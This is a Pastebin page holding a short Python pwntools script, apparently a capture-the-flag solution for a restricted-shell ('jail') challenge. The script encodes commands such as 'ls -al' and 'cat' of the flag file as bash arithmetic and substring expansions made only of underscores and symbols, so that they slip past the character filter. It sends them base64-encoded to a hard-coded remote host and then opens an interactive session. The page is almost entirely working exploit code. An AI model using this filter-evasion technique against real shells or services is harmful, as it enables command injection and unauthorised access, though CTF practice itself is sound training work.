hdarwin

pox_jail_ex.py

Oct 19th, 2016
152
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.35 KB | None | 0 0
  1. #!/usr/bin/env python
  2. from pwn import *
  3. from subprocess import check_output
  4. def N(n):
  5.     s = ['__' for x in xrange(n % 10)]
  6.     s += ['___' for x in xrange(n % 100 / 10)]
  7.     s += ['____' for x in xrange(n / 100)]
  8.     return '$[{}]'.format('+'.join(s))
  9. C = lambda s,c:''.join([('${_____:%s:%s}' % (N(s.index(i)), N(1))) for i in c])
  10. def cmd(c):
  11.     r = check_output([c, '--help']).split('\n')[:-1]
  12.     r.insert(-2, 'Report {} translation bugs to <http://translationproject.org/team/>'.format(c))
  13.     return ' '.join(r)
  14. leak = '/home/id' # step1
  15. leak += 'uid=1000(id) gid=1000(id) groups=1000(id)' # step2
  16. leak += cmd('id') # step3
  17. leak += cmd('ls') # final
  18. code = ''
  19. code += '$[__++];' # 2 __ = 1
  20. code += '___=$[__'+'+__'*9+'];' # 3 ___ = 10
  21. code += '____=$[___'+'+___'*9+'];' # 4 ____ = 100
  22. code += '_____=~;' # 5 _____ = /home/id
  23. code += '_____=$_____$('+C(leak, 'id')+');' # step1
  24. code += '_____=$_____$('+C(leak, 'id ')+'--'+C(leak, 'h')+');' # step2
  25. code += '_____=$_____$('+C(leak, 'ls --help')+');' # step3
  26. code += C(leak, 'ls -al')+';' # directory listing
  27. code += C(leak, 'ls -al th1s_1s_FLAG_D1R3CT0RY')+';' # ls flag
  28. code += C(leak, 'cat th1s_1s_FLAG_D1R3CT0RY/<HELLO_I_AM_THE_FLAG_README_IF_YOU_CAN>') # cat flag
  29. p = remote("128.199.253.132", 8259)
  30. p.recvuntil("# ")
  31. print code
  32. p.sendline(code.encode('base64').replace('\n',''))
  33. p.interactive()
Add Comment
Please, Sign In to add comment